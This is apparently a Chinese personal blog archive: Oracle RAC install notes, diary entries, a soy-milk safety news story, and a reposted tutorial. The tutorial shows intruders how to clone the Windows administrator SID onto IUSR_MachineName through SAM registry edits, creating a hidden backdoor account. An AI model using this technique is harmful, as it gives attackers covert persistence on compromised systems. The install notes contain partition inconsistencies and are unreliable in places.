Disk /dev/hda: 80.0 GB, 80000000000 bytes
255 heads, 63 sectors/track, 9726 cylinders
Units = cylinders of 16065 * 512 = 8225280 bytes

Device Boot Start End Blocks Id System
/dev/hda1 * 1 13 104391 83 Linux
/dev/hda2 14 1288 10241437+ 83 Linux
/dev/hda3 1289 2308 8193150 83 Linux
/dev/hda4 2309 9726 59585085 5 Extended
/dev/hda5 2309 3328 8193118+ 83 Linux
/dev/hda6 3329 3838 4096543+ 83 Linux
/dev/hda7 3839 4093 2048256 83 Linux
/dev/hda8 4094 4348 2048256 83 Linux
/dev/hda9 4349 4475 1020096 82 Linux swap
/dev/hda10 4476 4602 1020096 83 Linux
/dev/hda11 4603 4664 497983+ 83 Linux
/dev/hda12 4665 9726 40660483+ 83 Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table.

WARNING: Re-reading the partition table failed with error 16: Device or resource busy.
The kernel still uses the old table.
The new table will be used at the next reboot.
Syncing disks.

7、配置 hangcheck-timer 内核模块
在/etc/modprobe.conf中增加下面一行
options hangcheck-timer hangcheck_tick=30 hangcheck_margin=180
为了确保系统每次重新启动的时候都能自动加载hangcheck-timer 模块,需要在/etc/rc.local文件中增加下面一行
echo "modprobe hangcheck-timer" >>/etc/rc.local
重启系统并检查hangcheck-timer模块是否已经加载
[root@dbrac root]# lsmod | grep hangcheck-timer
hangcheck_timer 3289 0

8、配置 RAC 节点以进行远程访问
在 RAC 节点上运行 Oracle Universal Installer 时,它将使用 rsh 、rcp或scp命令将 Oracle 软件复制到 RAC 集群中的所有其他节点。虽然是单机模拟,但仍然要配置,无法跳过,从oracle 10g开始已经支持ssh协议,本文将首先尝试使用它
使用oracle用户创建ssh公共密匙:
[oracle@dbrac ~]$ ssh-keygen -t dsa
Generating public/private dsa key pair.
Enter file in which to save the key (/home/oracle/.ssh/id_dsa):
Created directory '/home/oracle/.ssh'.
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/oracle/.ssh/id_dsa.
Your public key has been saved in /home/oracle/.ssh/id_dsa.pub.
The key fingerprint is:
41:76:93:b9:74:ea:51:a5:2e:f3:bf:90:55:64:b0:84 oracle@dbrac
复制公匙到其他节点(这里是单机)
[oracle@dbrac oracle]$ cp -v .ssh/id_dsa.pub .ssh/authorized_keys
测试密匙是否生效
ssh dbrac
The authenticity of host 'dbrac (10.15.0.14)' can't be established.
RSA key fingerprint is 3d:ad:f8:14:f1:06:02:6d:66:09:94:7e:b5:fc:8c:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'dbrac,10.15.0.14' (RSA) to the list of known hosts.
[oracle@dbrac oracle]$
无需密码即可登陆表示密匙已经生效
记住也要试一下ssh int-dbrac
[oracle@dbrac ~]$ ssh int-dbrac
The authenticity of host 'int-dbrac (10.15.0.15)' can't be established.
RSA key fingerprint is 3d:ad:f8:14:f1:06:02:6d:66:09:94:7e:b5:fc:8c:dc.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added 'int-dbrac,10.15.0.15' (RSA) to the list of known hosts.
Last login: Tue Jun 27 18:28:00 2006 from dbrac
并且Add following lines to ~/.ssh/config file
Host *
ForwardX11 no
否则同样会报ssh不能连接的错误,可以通过在主机的图型界面里的命令窗口中运行检查是否有错.(参看http://blog.itpub.net/post/126/4684)

9、安装和配置 OCFS2
OCFS2是Oracle 集群文件系统 (OCFS2),由 Oracle 开发,用于消除数据库管理员和系统管理员管理原始设备这一负担,它提供了与通常的文件系统相同的功能和用法。尽量不要在OCFS文件系统上使用linux二进制文件系统操作命令
在目前的版本1种支持以下文件类型:
Oracle 数据库文件
联机重做日志文件
归档重做日志文件
控制文件
服务器参数文件 (SPFILE)
Oracle 集群注册表 (OCR) 文件
CRS 表决磁盘。

安装和配置
1)上传rpm包
2)执行rpm -ivh ocfs*.rpm 开始安装
3)生成并配置/etc/ocfs.conf文件
root@dbrac ocfs]# ocfsconsole &
4)使用 ocfsconsole GUI 工具执行以下步骤:
5)选择 [cluster]-[configure nodes]时会报"The cluster stack has been started. It needs to be running for any clustering functionality to happen. Please r
un "/etc/init.d/o2cb enable" to have it started upon bootup."错误.
ocfs2会自动o2cb load关闭窗口
但也把用下面办法设成开机时自动起动
# /etc/init.d/o2cb configure
Configuring the O2CB driver.
This will configure the on-boot properties of the O2CB driver.
The following questions will determine whether the driver is loaded on
boot. The current values will be shown in brackets ('[]'). Hitting
<ENTER> without typing an answer will keep that current value. Ctrl-C
will abort.
Load O2CB driver on boot (y/n) [n]: y
Cluster to start on boot (Enter "none" to clear) []: ocfs2
Writing O2CB configuration: OK

用命令/etc/init.d/o2cb status时会显示
Module "configfs": Loaded
Filesystem "configfs": Mounted
Module "ocfs2_nodemanager": Loaded
Module "ocfs2_dlm": Loaded
Module "ocfs2_dlmfs": Loaded
Filesystem "ocfs2_dlmfs": Mounted
Checking cluster ocfs2: Offline
这样继续上面的操作,会弹出node configureation窗口,这样就可以设置了
按add,在add node窗口里填写
name dbrac
ip address: 10.15.0.14
ip port:7777(default)
然后点击apply,再点[cluster]-[propagate configuration]
然后点[Tasks]-[Format]来格式化刚才创建的盘,此处使用/dev/hda11
格式化好以后,点左上角的mount到开始建的/u01,
验证所有节点上的所有值正确之后,请退出应用程序
6)检查/etc/ocfs.conf
[root@dbrac ~]# more /etc/ocfs2/cluster.conf
node:
ip_port = 7777
ip_address = 10.15.0.14
number = 0
name = dbrac
cluster = ocfs2

cluster:
node_count = 1
name = ocfs2
7)将以下条目添加到/etc/fstab 文件中
/dev/hda8 /u01 ocfs _netdev 0 0
8)重新启动系统并确认ocfs模块已经正确加载
[root@dbrac ~]# lsmod | grep ocfs2
ocfs2 373700 1
debugfs 10504 2 ocfs2
ocfs2_dlmfs 25864 1
ocfs2_dlm 209672 2 ocfs2,ocfs2_dlmfs
ocfs2_nodemanager 178384 6 ocfs2,ocfs2_dlmfs,ocfs2_dlm
configfs 26764 2 ocfs2_nodemanager
jbd 71385 2 ocfs2,ext3
9)并检查CRS分区已经正确安装
[root@dbrac ~]# mount | grep ocfs2
ocfs2_dlmfs on /dlm type ocfs2_dlmfs (rw)
/dev/hda11 on /u01 type ocfs2 (rw,_netdev,datavolume,nointr,heartbeat=local)
这里发现/u01属主不对,还要修改一下
chown -R oracle:dba /u01
注ocfs2操作请查阅手册(http://oss.oracle.com/projects/ocfs...users_guide.pdf)进行配置
在fstab里,要把_netdev换成_netdev,datavolume (参看http://oss.oracle.com/pipermail/ocf...uly/000140.html)
在/etc/selinux/config 里设置"SELINUX=disabled" (参看http://oss.oracle.com/pipermail/ocf...ber/000250.html)

10、安装并配置自动存储管理和磁盘
Oracle 数据库 10g 中引入了 ASM,使管理员不必再管理单个文件和驱动器,ASM 被内置到 Oracle 内核中,通过它,数据库管理员可以全天候管理单个实例以及集群实例的上千个磁盘驱动器。本文将使用ASM来自动存储和管理所有 Oracle 物理数据库文件(数据、联机重做日志、控制文件、归档重做日志)。
oracle不推荐使用裸设备,因此这里使用前面创建的/dev/hda12分区
1)上传oracleasm-2.4.21-EL-1.0.3-1.i686.rpm,oracleasmlib-1.0.0-1.i386.rpm, oracleasm-support-1.0.3-1.i386.rpm三个软件包到/home/oracle/install/rac/asm目录中, 开始安装:
[oracle@dbrac asmlib]$ su -
Password:
[root@dbrac root]# cd /home/oracle/install/rac/asmlib
[root@dbrac asmlib]# rpm -ivh oracleasm*.rpm
Preparing... ########################################### [100%]
1 oracleasm-support ########################################### [ 33%]
2 oracleasm-2.4.21-EL ########################################### [ 67%]
3 oracleasmlib ########################################### [100%]
2)配置并加载 ASMLib 程序包
[root@dbrac asmlib]# /etc/init.d/oracleasm configure
Configuring the Oracle ASM library driver.
This will configure the on-boot properties of the Oracle ASM library
driver. The following questions will determine whether the driver is
loaded on boot and what permissions it will have. The current values
will be shown in brackets ('[]'). Hitting <ENTER>; without typing an
answer will keep that current value. Ctrl-C will abort.

Default user to own the driver interface []: oracle
Default group to own the driver interface []: dba
Start Oracle ASM library driver on boot (y/n) [n]: y
Fix permissions of Oracle ASM disks on boot (y/n) [y]: y
Writing Oracle ASM library driver configuration [ OK ]
Loading module "oracleasm" [ OK ]
Mounting ASMlib driver filesystem [ OK ]
Scanning system for ASM disks [ OK ]
为 Oracle 共享数据文件创建 ASM 磁盘
[root@dbrac asmlib]# /etc/init.d/oracleasm createdisk oradata /dev/hda12
Marking disk "/dev/hda9" as an ASM disk [ OK ]
其中oradata是ASM磁盘的卷标
列出ASM磁盘的命令是/etc/init.d/oracleasm listdisks
删除ASM磁盘得命令是/etc/init.d/oracleasm deltedisk ORADATA(注意:此处大写)
/etc/init.d/oraclerasm scandisk命令用于其它节点上扫描并识别新卷,由于此处是单机,所以这里不需要执行。
五、安装oracle 10g集群服务软件
从这里开始,建议所有的安装过程全部使用英文界面安装,在简体中文环境下安装会有问题,如果安装操作系统的时候选择了默认语言为简体中文,请更改/etc/sysconfig/i18n文件中LANG的值,然后重新登陆系统。
LANG="en_US.UTF-8"
在附录本文会给出全中文环境数据库安装解决方案
1)上传10201_clusterware_linux32.zip到/home/oracle/install/rac目录中并解压缩;
unzip 10201_clusterware_linux32.zip
2)在安装过程中oracle 10g集群服务软件会在CRS分区创建2个文件,分别是/u01/orcl/ocrfile和/u01/orcl/cssfile,相当重要,不能跳过;检查/tmp目录是否有足够的空间,必须保证/tmp目录有500M以上空余空间;
3)更改oracle用户环境变量;
unset ORA_CRS_HOME
$ unset ORACLE_HOME
$ unset ORA_NLS33
$ unset TNS_ADMIN
4)转到安装源文件目录/home/oracle/install/rac/Disk1目录,执行./runInstaller &开始安装;
屏幕名称
回应
Welcome Screen
单击 Next
Specify Inventory directory and credentials
接受默认值
Root Script Window - Run orainstRoot.sh
以“root”用户帐户打开一个新的控制台窗口。改变目录到/home/oracle/oraInventory 目录,运行 orainstRoot.sh。 返回 OUI 并确认此对话框窗口。
Specify File Locations
Source 目录使用默认值;Name: OraCrs10g_home1;Location:/home/oracle/product/10.1.0/crs_1
Language Selection
请使用English,可以加入简体中文支持
Cluster Configuration
Cluster Name: crs;
Public Node Name:dbrac Private Node Name:int-dbrac
Specify Network Interface Usage
使用默认
Specify Oracle Cluster Registry (OCR) Location:
a. Select "OCR Configuration"
b. Specify OCR Location: /ocfs/prod1/ocr1
c. Specify OCR Mirror Location: /ocfs/prod1/ocr2
Specify Voting Disk Location:
a. Select "Voting Disk Configuration"
b. Voting Disk Location: /ocfs/prod1/vdisk1
c. Additional Voting Disk 1 Location: /ocfs/prod1/vdisk2
d. Additional Voting Disk 2 Location: /ocfs/prod1/vdisk3
Root Script Window - Run orainstRoot.sh 参看(http://www.dbasupport.com/oracle/or..._to_10g02.shtml)
以“root”用户帐户打开一个新的控制台窗口。转到/home/oracle/product/10.1.0/crs_1目录,运行root.sh。 返回 OUI 并确认此对话框窗口。

5)核实CRS安装
a)检查集群节点
[oracle@dbrac oracle]$ product/10.1.0/crs_1/bin/olsnodes -n
dbrac 1
a)检查CRS自启动脚本
[oracle@dbrac oracle]$ ll /etc/init.d/init.*
-r-xr-xr-x 1 root root 1204 May 10 16:54 /etc/init.d/init.crs
-r-xr-xr-x 1 root root 5489 May 10 16:54 /etc/init.d/init.crsd
-r-xr-xr-x 1 root root 18598 May 10 16:54 /etc/init.d/init.cssd
-r-xr-xr-x 1 root root 4550 May 10 16:54 /etc/init.d/init.evmd
我在这个安装过程中出了第一个过不去的错误
Checking existence of VIP node application (required)

Check failed.
Check failed on nodes:
dbrac

Checking existence of ONS node application (optional)
Check ignored.

Checking existence of GSD node application (optional)

Check ignored.


Post-check for cluster services setup was unsuccessful on all the nodes.

Command = /data/oracle/product/10.1.0/db_1/bin/cluvfy has failed
这个没有解决,在此记下来,这可能是导致我下面操作出错的根本,下次安装测试时想办法解决这个问题。
问题1。

六、安装 Oracle 10g数据库软件
1)上传10201_database_linux32.zip至/home/oracle/install目录并解压
unzip 10201_database_linux32.zip
2)更改oracle用户环境变量
unset ORA_CRS_HOME
$ unset ORACLE_HOME
$ unset ORA_NLS33
$ unset TNS_ADMIN

3)执行./runInstaller开始安装
屏幕名称
回应
Welcome Screen
选择高级安装
Specify File Locations
Name: OraDb10g_home1
Location:/home/oracle/product/10.1.0/db_1
Specify Hardware Cluster Installation Mode
默认dbrac
Select Installation Type
选择Enterprise Edition 选项
Select Database Configuration
选择Do not create a starter database (必须选这个)
Root Script Window - Run root.sh
以“root”用户帐户打开一个新的控制台窗口。转到/home/oracle/product/10.1.0/db_1目录,运行root.sh程序。
当 VIPCA 出现时,请回应如下所示的屏幕提示:
Welcome: 单击 Next
Network interfaces:选择接口 - eth0
Virtual IPs for cluster notes:
Node Name:dbrac
IP Alias Name:vip-dbrac
IP Address:10.15.0.13
Subnet Mask: 255.255.255.0
注意:如果在安装操作系统的时候选择了默认语言支持是简体中文,请在执行root.sh之前先取消root中文环境设置,命令export LANG=zh_CN.EUC
End of installation
安装结束时,退出 OUI
我在安装过程中没有自动出现vipca,直接运行也不成,但重起后可以运行了,不知道什么原因。
问题2。


七、创建 TNS 监听器进程
DBCA 需要在 RAC 集群的所有节点上配置并运行 Oracle TNS 监听器进程,然后它才能创建集群化数据库。
$export LANG=zh_CN.EUC
$ netca &
屏幕名称
回应
Select the Type of Oracle
Net Services Configuration
选择 Cluster Configuration
Select the nodes to configure
选择节点dbrac
Listener Configuration - Next 6 Screens
接下来全部选择默认,然后返回到Select the Type of Oracle Net Services Configuration
Type of Configuration
选择 Naming Methods configuration。
Naming Methods Configuration
Selected Naming Methods: Local Naming
Type of Configuration
单击 Finish 退出 NETCA。
只产生了listener一个,没有生成listener_dbrac,而且listener里有一行信息觉得有错,注释了以后在安装数据库时才通过。
问题3。

测试
[oracle@dbrac oracle]$ ps -ef | grep lsnr | grep -v 'grep' | grep -v 'ocfs' | awk '{print $9}'
LISTENER_DBRAC
八、创建oracle集群数据库
1)在执行 DBCA 前,请确保为 $ORACLE_BASE/product/10.1.0/db_1 环境正确设置了 $ORACLE_HOME 和 $PATH。
2)在试图开始创建集群化数据库之前,还应确保已安装的所有服务(Oracle TNS 监听器、CRS 进程等)正在运行。
屏幕名称
回应
Welcome Screen
选择 Oracle Real Application Clusters database。
Operations
选择 Create a Database
Node Selection
选择dbrac
Database Templates
选择 Custom Database
Database Identification
Global Database Name: orcl
SID Prefix: orcl
Management Option
保留默认
Database Credentials
选择 Use the Same Password for All Accounts,并输入两次密码
Storage Options
选择使用 ASM
Create ASM Instance
推荐选择spfile
ASM Disk Groups
单击 Create New创建ASM,在弹出的Create Disk Group窗口中,Disk Group Name: orcl_data;选择“Select Member Disks”窗口中的ASM 卷ORCL:ORADATA,并确保状态为PROVISIONED,最后单击ok完成,如果不能格式化,请选择redundancy为external
Database File Locations
选择使用默认值Oracle Managed Files
Database Area: +ORCL_DATA
Recovery Configuration
选择默认Flash Recovery Area,如果要使用传统归档方式,请选择Enable Archiving
Database Content
本文为了加快安装速度,去掉了所有组件支持,仅保留了Enterprise Manager Repository
Database Services
单击 Add,输入 orcltest 作为“Service Name”。
TAF Policy选Basic
Initialization Parameters
保留默认
Database Storage
保留默认
Creation Options
选择默认
End of Database Creation
退出DBCA
我在安装时asm不认一开始建立的分区。所以只好使用cluster文件系统,也就是使用本地硬盘了.
问题4。
3)完成DBCA后,一个单节点集群的oracle数据库服务器已经成功创建了
4)核实orcltest服务
SQL>; show parameter service
NAME TYPE VALUE
------------------------------------ ----------- ------------------------------
service_names string orcl, orcltest
如果value只有一个值orcl,则需要手工添加orcltest
SQL>; alter system set service_names ='orcl, orcltest' scope=spfile;
九、测试集群
先检查VIP是否已经启动
[oracle@dbrac oracle]$ ifconfig eth0:1
eth0:1 Link encap:Ethernet HWaddr 00:0D:61:EB:01:66
inet addr:192.168.22.244 Bcast:192.168.22.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
Interrupt:11 Base address:0xc000
从外部客户端连接集群化数据库
在装有oracle 10g 客户端的pc上执行下面的命令进行连接测试,客户端需要配置TNS,配置的时候把服务名指定为orcltest,数据库服务器IP使用VIP(192.168.22.244)
C:\Documents and Settings\Administrator>;sqlplus /nolog
SQL*Plus: Release 10.1.0.2.0 - Production on 星期三 5月 11 13:24:34 2005
Copyright (c) 1982, 2004, Oracle. All rights reserved.
SQL>; connect sys/racrac@orcltest as sysdba
已连接。

在服务器上执行下面的命令
[oracle@dbrac oracle]$ srvctl status database -d orcl
例程 orcl1 正在节点 dbrac 上运行

[oracle@dbrac oracle]$ srvctl status nodeapps -n dbrac
VIP 正在运行的节点: dbrac
GSD 正在运行的节点: dbrac
监听程序正在节点上运行: dbrac
ONS 守护程序正在节点上运行:dbrac
[oracle@dbrac oracle]$ srvctl status asm -n dbrac
ASM 例程 +ASM1 正在节点 dbrac 上运行。

显示数据库配置
[oracle@dbrac oracle]$ srvctl config database -d orcl
dbrac orcl1 /home/oracle/product/10.1.0/db_1
scrctl命令还有很多测试功能,这里不再一一介绍

十、启动和停止集群
这里很重要,和一般的非集群数据库的启动和关闭有点不同.
1)停止 Oracle RAC 10g 环境
先停止 Oracle 实例。当此实例(和相关服务)关闭后,关闭 ASM 实例。最后,关闭节点应用程序(虚拟 IP、GSD、TNS 监听器和 ONS)。
$ export ORACLE_SID=orcl1
$ emctl stop dbconsole
$ srvctl stop instance -d orcl -i orcl1
$ srvctl stop asm -n dbrac
$ srvctl stop nodeapps -n dbrac
2)启动 Oracle RAC 10g 环境
第一步是启动节点应用程序(虚拟 IP、GSD、TNS 监听器和 ONS)。当成功启动节点应用程序后,启动 ASM 实例。最后,启动 Oracle 实例(和相关服务)以及企业管理器数据库控制台。
$ export ORACLE_SID=orcl1
$ srvctl start nodeapps -n dbrac
$ srvctl start asm -n dbrac
$ srvctl start instance -d orcl -i orcl1
$ emctl start dbconsole
3)使用 SRVCTL 启动/停止所有实例
$ srvctl start database -d orcl
$ srvctl stop database -d orcl

本文严重引用了http://www.linuxmine.com/3508.html
有些操作就用原文来参照执行了,没有把自己的操作完整的记录下来,而且最后关于数据库的操作因为没有安装完全成功,所以一些操作没法测试。准备在下次安装测试中再进行修正。同时也想在网上多看一看相关文章,解决掉自己安装中的错误再进行测试。

23/1/2007

凌晨1点

现在凌晨一点,无聊~
宿舍网络状况还是不怎么好,应该是有人在搞鬼=。=|||
这几天也没怎么玩游戏,都看了好几部电视剧了,周末整天也没出门,窝在被窝里把《越狱》看完了。今天一天好困~
昨天杨峰和我联系了。他打算13或14号回家。该联系大哥问下什么时候回家了。我们还没有通知,估计,大概,可能都过年一两天吧。工作真是比不了上学的时候了。
还要适应。。。
上学可以一周一上一节课,上班一周只能歇一天,郁闷啊!~
这周公司中了传说中的“熊猫烧香”,还好没有象上次VIKING大面积爆发,总算还在控制之中。一个字--忙。头交给我的任务已经拖了2星期了,郁闷,没时间弄啊。不知道头什么时候会问起来。尽快抽时间搞定吧~
那个问题还是没有理清头绪,郁闷~不写了。睡觉~

教你在镜像系统中复制管理员帐号

经常看到一些人在入侵一台Windows 2000或者Windows NT后堂而皇之地创建一个管理员组的用户,似乎当管理员不存在一般,今天偶违背一下偶以前的初衷,Share一个类似于RootKit的玩艺,当然,这些过程也是可以用脚本实现的,但是我就不写了,OK,Show Time Now。

首先要让大家知道的概念是在Windows 2000和Windows NT里,默认管理员帐号的SID是固定的500(0x1f4),那么我们可以用机器里已经存在的一个帐号将SID为500的帐号进行克隆,在这里我们选择的帐号是IUSR_MachineName(当然,为了加强隐蔽性,我们选择了这个帐号,所有用户都可以用以下的方法,只不过这个用户较常见罢了),测试环境为Windows 2000 Server。

运行一个System的CMD Shell( http://www.sometips.com/tips/scripts/173.htm 或使用 Http://www.sometips.com/soft/psu.exe),然后在该CMD Shell里面运行:


regedit /e adam.reg HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4


这样我们将SID 为500的管理员帐号的相关信息导出,然后编辑adam.reg文件,将adam.reg文件的第三行--[HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users\000001F4]最后的'1F4'修改为IUSR_MachineName的SID(大部分的机器该用户的SID都为0x3E9,如果机器在最初安装的时候没有安装IIS,而自己创建了帐号后再安装IIS就有可能不是这个值),将Root.reg文件中的'1F4'修改为'3E9'后执行:


regedit /s adam.reg


导入该Reg文件,然后运行:


net user IUSR_MachineName Sometips


修改IUSR_MachineName的密码(最好使用14位的密码,越像IUSR_MachineName的密码越好)。

这样,我们拥有和默认管理员一样的桌面、一样的Profile。而且,当我们运行 net localgroup administrators 时,看看结果:


C:\>net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domainMembers
--------------------------------------------------------------------
Administrator
The command completed successfully.


再看看USER2SID的输出结果:


C:\>user2sid Administrator   
S-1-5-21-1004336348-1078145449-854245398-500
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser   
C:\>user2sid iusr_machinename   
S-1-5-21-1004336348-1078145449-854245398-1001   
Number of subauthorities is 5
Domain is IDONTKNOW
Length of SID in memory is 28 bytes
Type of SID is SidTypeUser   


我想,再高明的管理员也看不到任何的异状了...而且,随便管理员改成什么密码,我照样可以用IUSR_MachineName,密码为Sometips登陆...(没有哪位大侠级的管理员喜欢经常修改IUSR_MachineName为其他的名字吧)
15/1/2007

病毒源代码数据库

清理完房间里积水,无意找到的 好象还不错,以后研究研究,先放这里备忘   http://www.totallygeek.com/vscdb/

发水了!~~~

昨天刚装的暖气温度调节阀,暖气不热,冷啊!~问了邻居也是同样的问题。
我告诉同事建华可能是暖气里有空气影响热水过来。他就拧他屋里的放水阀门。阀门锈住了,一拧掉下来了 =。=|||
大水哗哗滴。。。。。。
我俩赤身裸体奋斗半小时,动用了桌子,床,筷子,塑料袋,总算把暖气给堵住了。
老高晚上还要来我们这里借住=。=|||
 
最后建华睡客厅沙发,老高把床搬到我的房间里和我一起睡,哈哈!~~
 
----明天找源动部帮忙修理。。。衣服也弄脏了,还要洗衣服=。=|||

升级

打算把电脑升级下,先拿内存开刀,双金士顿256 DDR400准备卖掉 换个1G的,木哈哈!~~
7/1/2007

一则新闻-刚在MSN上看到的

作坊式自制豆浆卖出大麻烦

来源:北京娱乐信报   时间:2007-1-6 09:04

 

  路边摊的豆浆就是这样装着卖的

 

  一些加工作坊或酒楼由于不具备严格意义上的制作工艺及相关质量检测,豆浆卫生和质量难以保证。

 

两节期间,食品安全再度成为市民关注的焦点。记者在四川成都市场上发现,一种自制豆浆饮料在大大小小的酒楼和火锅店里非常走俏。

 

 

  然而,一些加工作坊或酒楼由于不具备严格意义上的制作工艺及相关质量检测,豆浆质量难保证,消费者喝了这些作坊式自制豆浆后,常出现腹痛、腹泻等中毒现象。

 

  记者从有关部门了解到,作坊式自制豆浆引起中毒的主要原因是大豆(2834,5,0.18%)中含有许多种酶和抗营养因子,它们不仅影响豆浆的质量和营养,而且影响大豆的加工方法和生产工艺。如磨浆时,高温灭酶可以破坏大豆中的有毒元素,一般豆浆要加热到沸腾,并保持20分钟以上,才能破坏抗营养因子。若加热温度及时间不够,就会引起食物中毒。

 

  据天津某媒体报道,近日,天津市卫生执法部门取缔了一家日销售千杯以上、远近闻名的豆浆作坊。该作坊不仅没有任何证照,而且生产条件简陋,环境极为恶劣。调查中,执法人员还发现一个惊人的内幕,该作坊在生产过程中,为使豆浆味道更鲜美,大量添加消泡剂,剂量达规定用量的10倍以上。更可怕的是,其使用的消泡剂还不是食品添加剂,而是一种工业用的消泡剂。

 

  据了解,工业消泡剂广泛用于涂料、油漆、造纸、石油等行业,由于其纯度不高,并含有砷、铅等重金属,对人体健康危害极大,甚至可能致癌。铅是积蓄性金属,会引起慢性铅中毒,同时,其引起的贫血能伤害人的肝、肾及骨骼,并引起神经衰弱、便秘、食欲不振等;而砷会引起人体神经系统的改变,比如手脚麻木、四肢无力等。

 

一位知情人告诉记者,滥用消泡剂早就是作坊式自制豆浆行业一个“公开的秘密”,因为这些豆浆作坊往往不具备企业化生产的先进设备和工艺,在生产中会产生大量泡沫,而且口味不佳,为了消除泡沫,改变口味,许多作坊便超标使用消泡剂。而正规饮料企业生产出来的植物蛋白产品,通常不会产生任何泡沫,所以也就不存在使用消泡剂的问题。

 

 

  无照豆浆泛滥路边摊

 

  脏乱差的豆浆小作坊

 

  在裸露的水泥罐里加工的豆浆,无论从哪个环节来说,都是不符合要求的。

 

  每天早晨,各个农贸市场里的豆浆、油条叫卖声不绝于耳,不少上班族匆匆购买之后又继续着一天的紧张生活。殊不知,这些被称之为“野早餐”的食品存在着极大的安全隐患。记者在成都一家长年销售自制豆浆的店铺看到,其加工的容器是由水泥罐和塑料水桶组成,豆浆的灌装机是普通的封口机,一次性的塑料豆浆杯随意散落在房间的角落里。存放豆浆的白色箱子已被染成了黑色,加工现场没有过滤和高温加热的设备。旁边一个红色的塑料大盆里装满了黄豆。记者发现有些黄豆已经发黑霉变,还夹杂着很多砂粒。然而,该店铺的生意却颇为红火,门口顾客络绎不绝。

  据四川省卫生部门负责人告诉记者,加工豆浆应在密闭的不锈钢容器中进行,类似这样完全在裸露的水泥罐里进行加工的豆浆,无论从哪个环节来说,都是不符合要求的。有关专家也指出,不少一次性塑料杯都使用劣质塑料制成,而且不耐高温,其有毒成分在高温下会分解出来溶入豆浆中,对人体有害。

 

  更令人担忧的是,这些摊贩大多没有卫生许可证和相关证件,属于无照经营。

 

  酒楼自制豆浆无QS

 

  没有QS认证,又逃避卫生执法部门的监管,加之滥用消泡剂等行为,导致自制豆浆存在很大的安全隐患。

 

  20061216,记者在某大型酒楼调查时发现,很多消费者盲目相信促销小姐的推荐,致使一些没有QS标志的饮料频频倒进了消费者的杯中。当记者询问消费者是否看了QS标志时,60%的人回答“没有看过”。

 

  更令人担心的是,酒楼推销的打着各种鲜榨招牌的自制饮料,长期处在无人监管的真空地带。在成都某火锅店,一名酒楼的服务员正在向客人推销鲜榨豆浆,并一再保证店里的豆浆都是新鲜的,但当记者问及豆浆和水的比例、豆浆的卫生标准、豆浆如何保鲜等问题时,她却一句也答不上来。

 

  据知情人透露,不少火锅店和酒楼宣称的鲜榨饮料都具有极大的欺骗性,所谓鲜榨,应该是现榨现喝。但事实是,绝大多数消费者以不菲的价格买到的鲜榨饮料,其实都是外面一些既不卫生、又不合法的小作坊的“作品”。还有一些甚至是当天没卖完,放进冰箱储存后第二天再接着卖的自制饮料,其安全性存在极大隐患。

 

  据知情人透露,一些小作坊将豆浆做好后送到各大酒楼或火锅店,由服务员以鲜榨的名义高价推销给客人。一般来说,一杯豆浆在酒楼的售价为15元左右,而其成本不过1元左右。在14元的销售利润中,小作坊、酒楼、服务员各自赚取了一部分。“一般一个服务员推销一杯豆浆,都有5元左右的提成。”知情人说。

 

  暴利的驱动,正是不少火锅店和酒楼的服务员大肆向消费者推销所谓鲜榨饮料的真正原因,在这条利益链背后,消费者沦为了最终的受害者。

 

  据饮料业专家邹宗凤女士介绍,自制豆浆以生产简便而遍布各餐饮店、小作坊甚至家庭中,其大众化程度已经非工商、卫生、质量技监等执法部门所能一一监管。但这种简单、大众化的生产很难保证食品的卫生和安全。近年来,全国各地屡见不鲜的豆浆中毒事件就是其不安全性的具体体现。邹女士认为,没有国家的QS认证,又缺乏卫生执法部门的监管,加之滥用消泡剂等行为,导致自制豆浆存在很大的安全隐患。因此,自制豆浆属于非安全食品。她建议消费者在酒楼消费时慎饮自制植物蛋白饮料,最好选择正规厂商通过先进设备生产的有QS标志的饮料,这类产品有严格的卫生和质量保证,更远离了消泡剂的危害。

 

  “黑豆浆”的几大损招

 

  除滥用消泡剂外,部分火锅店为了节约成本,掺入霉变或陈化的大豆加工豆浆。

 

  一位从事了多年豆制品加工的业内人士告诉记者,目前遍布成都全城的自制豆浆加工点,几乎都没有严格的生产工艺,也缺乏严格的卫生监管措施,具有很大的安全、卫生隐患。而且,不少黑心作坊还置消费者健康于不顾,为了牟取暴利不惜铤而走险,采取种种手段坑害消费者。他给记者列举了“黑豆浆”常见的几大“损招”:

 

  除了滥用消泡剂之外,部分火锅店为了节约成本,掺入霉变或陈化的大豆加工豆浆,而其可能产生的黄曲霉素,是目前世界上公认的强致癌物之一。

 

  在豆浆中大量掺水也是一些不法商贩的惯用伎俩。加工豆浆时,正常的做法是每公斤黄豆兑4公斤水,而小作坊却每公斤黄豆兑10公斤水,这样加工出来的兑水豆浆几乎与白开水无异。

 

  还有一些小作坊掺杂使假,为了降低成本,常常在豆浆里掺杂生粉,或使用劣质油、潲水油来进行加工。

 

  另外,不少作坊低价招用未经任何培训和体检的外来工,其操作人员自己就可能带有传染性疾病,使豆浆在一开始的源头就成了“带病豆浆”。同时,他们也不按卫生标准进行操作,其加工场地往往简陋不堪,没有专用仓库,也不设置污水处理系统,有的还用国家明令禁止的非法土锅炉加工。由于土锅炉所产生的蒸汽不可能将豆浆煮至规定的温度,导致生产出的豆浆内含有大量致病菌。

 

  食用“黑豆浆”维权难

 

  当消费者向这些酒楼、餐馆讨要说法时,却苦于无法提供有力的证据,最终只能不了了之。

 

  据成都市消协有关负责人介绍,由于喝了作坊式自制豆浆不舒服、闹肚子甚至住院的投诉,他们每年都要接到不少,但基本上处理起来都很困难。之所以困难,一是因为取证难,当消费者向这些酒楼、餐馆讨要说法时,却苦于无法提供有力的依据,最终只能不了了之;二是因为自制豆浆者都是小本经营,面对消费者的索赔要求他们不是躲就是赖,处理、协调起来非常麻烦。像这种喝了自制豆浆而受到损害的消费者,基本上是讨不到什么说法的。

 

  该负责人认为,消费者在选择食品供应商时,应尽量选择规范的、知名的大企业生产的品牌产品,这样才能切实保障自己的合法权益。

 

